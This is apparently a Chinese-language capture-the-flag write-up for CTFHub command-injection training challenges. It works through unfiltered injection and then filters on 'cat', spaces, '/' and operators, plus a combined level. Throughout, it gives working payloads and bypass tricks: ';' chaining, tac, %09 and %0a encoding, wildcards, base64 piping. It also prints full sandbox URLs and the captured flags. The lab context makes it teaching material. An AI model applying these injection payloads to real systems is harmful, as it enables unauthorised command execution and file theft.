命令注入——无过滤
先让我们来明确一下知识点:
先打开题目:
没有过滤,那就直接下命令
127.0.0.1;ls
127.0.0.1;cat 249871313820494.php
我试了一下,发现里面什么都没有,可能是被过滤了,用|连接base64编码试一下
127.0.0.1;cat 249871313820494.php|base64
发现了flag,用base64解码试一试
得到flag
过滤cat
打开题目:
用一样的方式命令:
127.0.0.1;ls
发现有flag存在的php文件:但是题目说已经过滤了cat,所以就用tac来切换cat(我是这样做的,但是切换cat的方式有好多种,我只试出了这一种,其他的都没办法得到flag)
127.0.0.1;tac /flag|base64
再用base64解码就可以得到flag
ctfhub{3e7bd9a80a0190d9ae107a50}
过滤空格
打开题目,发现空格被过滤,我建议是在url中直接输入
127.0.0.1;ls
有一个含有flag的php文件,接着一步一步来,空格的话可以用%09;%20,/**/,<>,还有很多
http://challenge-542ccfdba3055daa.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat%09flag_234022699112599.php
再用ctrl+u查看源码,里面就有flag
过滤目录分隔符
打开题目,发现/被过滤了,不能使用了,那没事我们也可以一步一步来
127.0.0.1;ls
再打开文件夹,文件夹也要用ls打开
127.0.0.1;ls flag_is_here
先让我们把目录定位到 flag_is_here的文件夹中,再打开含有flag的文件
127.0.0.1;cd flag_is_here;cat flag_3082496671458.php
被隐藏起来了,看一看源码吧
发现了flag
ctfhub{d1f04a1b8e99b42ee54e9778}
过滤运算符
我发现其实它过滤的和我用的没有太大的联系(不是),打开题目,发现他过滤了管道运算符|还有&,也不影响我们做题!
127.0.0.1;ls
127.0.0.1;cat flag_1400626919913.php
再利用CTRL+u查看源码即可
flag:
ctfhub{f10d29a9090febb04a371ada}
综合练习
过滤了好多东西,用%0a绕过;
http://challenge-581e8d31cf4f3db7.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0als#
http://challenge-581e8d31cf4f3db7.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0Acd%09f*_is_here%0atac%09f*_259632229715423.p*p#
再查看源码即可获得flag
ctfhub{f9cd583fcf4858c28ba70974}